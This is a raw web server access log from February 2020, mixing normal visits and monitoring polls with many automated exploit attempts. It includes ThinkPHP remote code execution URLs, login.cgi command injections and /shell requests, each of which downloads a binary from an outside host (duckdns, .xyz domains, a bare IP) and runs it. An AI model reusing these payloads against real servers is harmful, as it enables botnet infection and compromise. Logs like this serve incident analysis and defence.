45.72.3.149 - - [11/Feb/2020:06:38:43 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:43 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:43 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:43 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:43 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:44 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:44 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:44 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:44 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
45.72.3.149 - - [11/Feb/2020:06:38:44 +0100] "GET /login.asp HTTP/1.1" 404 314 "-" "libwww-perl/6.43"
112.27.187.117 - - [11/Feb/2020:06:39:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
195.58.57.113 - - [11/Feb/2020:06:41:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
125.59.210.169 - - [11/Feb/2020:06:41:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.228.31.39 - - [11/Feb/2020:06:44:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
195.228.31.39 - - [11/Feb/2020:06:45:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
195.228.31.39 - - [11/Feb/2020:06:45:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
217.26.162.115 - - [11/Feb/2020:06:47:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.133.72.65 - - [11/Feb/2020:06:48:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
143.255.243.116 - - [11/Feb/2020:06:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
123.25.85.2 - - [11/Feb/2020:06:55:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.128.188 - - [11/Feb/2020:06:57:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.188 - - [11/Feb/2020:06:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.188 - - [11/Feb/2020:07:00:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:07:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.188 - - [11/Feb/2020:07:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.128.188 - - [11/Feb/2020:07:00:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:07:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.188 - - [11/Feb/2020:07:02:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:07:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.188 - - [11/Feb/2020:07:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:07:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.128.188 - - [11/Feb/2020:07:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:07:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [11/Feb/2020:07:05:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:07:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.214.238 - - [11/Feb/2020:07:07:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.41.215.7 - - [11/Feb/2020:07:07:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.35.18 - - [11/Feb/2020:07:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.211.119.84 - - [11/Feb/2020:07:10:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.102.29.10 - - [11/Feb/2020:07:10:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.102.29.10 - - [11/Feb/2020:07:10:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:07:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.110.151 - - [11/Feb/2020:07:11:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.80 - - [11/Feb/2020:07:12:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
1.162.144.42 - - [11/Feb/2020:07:12:16 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [11/Feb/2020:07:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.140.34 - - [11/Feb/2020:07:12:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [11/Feb/2020:07:13:15 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:07:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.111 - - [11/Feb/2020:07:15:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:07:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.250 - - [11/Feb/2020:07:17:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.171.93.177 - - [11/Feb/2020:07:20:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [11/Feb/2020:07:20:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [11/Feb/2020:07:20:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [11/Feb/2020:07:20:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:07:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [11/Feb/2020:07:20:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [11/Feb/2020:07:21:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:07:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [11/Feb/2020:07:22:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [11/Feb/2020:07:22:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:07:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [11/Feb/2020:07:22:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [11/Feb/2020:07:22:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [11/Feb/2020:07:23:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:07:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.186 - - [11/Feb/2020:07:30:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.7 - - [11/Feb/2020:07:33:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.157.79 - - [11/Feb/2020:07:39:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.191.70 - - [11/Feb/2020:07:40:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
210.7.13.166 - - [11/Feb/2020:07:40:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.199.23 - - [11/Feb/2020:07:40:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.199.23 - - [11/Feb/2020:07:40:21 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.199.23 - - [11/Feb/2020:07:40:22 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.199.23 - - [11/Feb/2020:07:40:22 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.199.23 - - [11/Feb/2020:07:40:23 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.19.1"
149.202.73.232 - - [11/Feb/2020:07:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [11/Feb/2020:07:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.200.17 - - [11/Feb/2020:07:40:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.238.105 - - [11/Feb/2020:07:41:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.67.198.17 - - [11/Feb/2020:07:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:07:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.166.213 - - [11/Feb/2020:07:43:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [11/Feb/2020:07:44:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.17.71 - - [11/Feb/2020:07:45:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.135 - - [11/Feb/2020:07:52:44 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.128 - - [11/Feb/2020:07:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
45.137.182.73 - - [11/Feb/2020:07:52:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.76.60.118 - - [11/Feb/2020:07:53:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.233.144.165 - - [11/Feb/2020:07:54:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:07:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.61.179.97 - - [11/Feb/2020:07:56:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [11/Feb/2020:07:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:07:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.13 - - [11/Feb/2020:07:59:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
